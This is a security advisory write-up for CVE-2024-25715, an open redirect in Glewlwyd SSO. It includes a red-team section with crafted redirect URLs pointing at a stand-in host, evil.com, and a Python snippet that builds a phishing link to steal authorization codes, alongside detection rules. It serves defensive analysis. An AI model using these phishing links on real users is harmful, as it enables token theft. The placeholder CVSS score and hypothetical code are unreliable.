CVE-2024-25715

Executive Summary

CVE-2024-25715 is an open redirect vulnerability in Glewlwyd SSO server versions 2.x through 2.7.6. The flaw exists in the handling of the redirect_uri parameter, allowing an attacker to redirect users to arbitrary external domains after authentication. This can be leveraged for phishing attacks, credential harvesting, or bypassing security controls. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for user interaction. No official patch has been released as of the latest advisory.

Supply Chain & Package Security

This vulnerability affects the Glewlwyd SSO server, which is a standalone application typically deployed as a Docker container or compiled from source. It is not distributed via NPM, PyPI, Go, or Ruby packages. However, organizations using Glewlwyd should verify their deployment version and apply any available updates or mitigations.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a crafted link.
• Scope (S): Unchanged (U) – The redirect does not change the security scope.
• Confidentiality (C): Low (L) – Potential for credential theft via phishing.
• Integrity (I): Low (L) – Redirect can lead to malicious sites.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium (5.4) – Exploitation requires user interaction but can lead to significant phishing attacks.

Deep Dive & Mechanics

The vulnerability resides in the OAuth2/OpenID Connect authorization endpoint of Glewlwyd. When a user is redirected to the SSO server for authentication, the redirect_uri parameter is not properly validated. An attacker can craft a URL like:

https://glewlwyd.example.com/auth?redirect_uri=https://evil.com

After successful authentication, the server redirects the user to https://evil.com instead of the legitimate application. This allows attackers to:

• Steal authorization codes or tokens if the redirect includes them.
• Perform phishing attacks by mimicking the legitimate service.
• Bypass security controls that rely on redirect validation.

The lack of validation means any URI scheme or domain is accepted, including javascript: or data: URIs in some cases.

Vulnerable vs. Patched Code

Vulnerable Code (Glewlwyd 2.7.6 and earlier):

// Pseudocode for redirect_uri handling
if (redirect_uri) {
    // No validation performed
    http_redirect(redirect_uri);
}

Patched Code (Hypothetical fix):

// Pseudocode for patched redirect_uri handling
if (redirect_uri) {
    if (is_valid_redirect(redirect_uri, allowed_domains)) {
        http_redirect(redirect_uri);
    } else {
        http_redirect(default_uri);
    }
}

The fix would require implementing a whitelist of allowed redirect URIs or validating the domain against a configured list.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy Glewlwyd 2.7.6 using Docker:

   docker run -d -p 443:443 glewlwyd/glewlwyd:2.7.6
   

2. Configure a basic OAuth2 client with a legitimate redirect URI (e.g., https://app.example.com/callback).
3. Craft the exploit URL:

   https://glewlwyd.example.com/auth?response_type=code&client_id=test&redirect_uri=https://evil.com
   

4. Send the link to a victim via email or social engineering.
5. After the victim authenticates, they are redirected to https://evil.com with the authorization code in the URL.

Exploit Code (Python):

import requests

target = "https://glewlwyd.example.com"
evil_redirect = "https://evil.com"
exploit_url = f"{target}/auth?response_type=code&client_id=test&redirect_uri={evil_redirect}"

print(f"Send this link to victim: {exploit_url}")

Blue Team

Detection:

• Monitor logs for unusual redirect_uri parameters containing external domains.
• Use the Sigma rule below to detect suspicious redirect URIs.
• Implement network segmentation to limit outbound connections from the SSO server.

Mitigation:

• If patching is not possible, configure a reverse proxy (e.g., Nginx) to validate the redirect_uri parameter before forwarding to Glewlwyd.
• Example Nginx rule:

  location /auth {
      if ($arg_redirect_uri !~ ^https://allowed-domain\.com/) {
          return 403;
      }
      proxy_pass http://glewlwyd:443;
  }
  

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to Glewlwyd with redirect_uri pointing to external domains.
  • Outbound connections from the SSO server to unknown domains.
• Log IOCs:
  • Log entries showing redirect_uri values not matching the configured whitelist.
  • Multiple failed authentication attempts followed by redirects to external sites.
• File IOCs:
  • Modified configuration files with added redirect URIs.
  • Suspicious entries in the Glewlwyd database for OAuth2 clients.

Detection Engineering

YARA Rule

rule CVE_2024_25715_Glewlwyd_Open_Redirect {
    meta:
        description = "Detects open redirect attempts in Glewlwyd SSO logs"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-25715"
    strings:
        $redirect_uri = /redirect_uri=https?:\/\/[^\/]*evil/i
        $suspicious_domain = /redirect_uri=https?:\/\/[^\/]*\.(xyz|tk|ml|ga|cf)/i
    condition:
        any of them
}

Sigma Rule

title: Glewlwyd Open Redirect via redirect_uri
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects open redirect attempts in Glewlwyd SSO logs
author: Valters IT
logsource:
    category: webserver
    product: glewlwyd
detection:
    selection:
        cs-uri-query|contains: "redirect_uri="
        cs-uri-query|re: "redirect_uri=https?:\/\/[^\/]*evil"
    condition: selection
falsepositives:
    - Legitimate redirects to external services
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-25715 Glewlwyd Open Redirect"; flow:to_server; content:"redirect_uri="; http_uri; pcre:"/redirect_uri=https?:\/\/[^\/]*evil/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Upgrade to a patched version if available (check vendor updates).
   • If no patch exists, implement a reverse proxy to validate redirect_uri against a whitelist.
   • Disable the OAuth2 authorization endpoint if not needed.

2. Long-term Fixes:

   • Apply the vendor patch when released.
   • Conduct a security audit of all OAuth2/OpenID Connect implementations.
   • Implement strict input validation for all redirect parameters.

3. Compensating Controls:

   • Use Web Application Firewall (WAF) rules to block suspicious redirect URIs.
   • Enable logging and monitoring for all authentication requests.
   • Educate users about phishing attacks that exploit open redirects.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2024-25715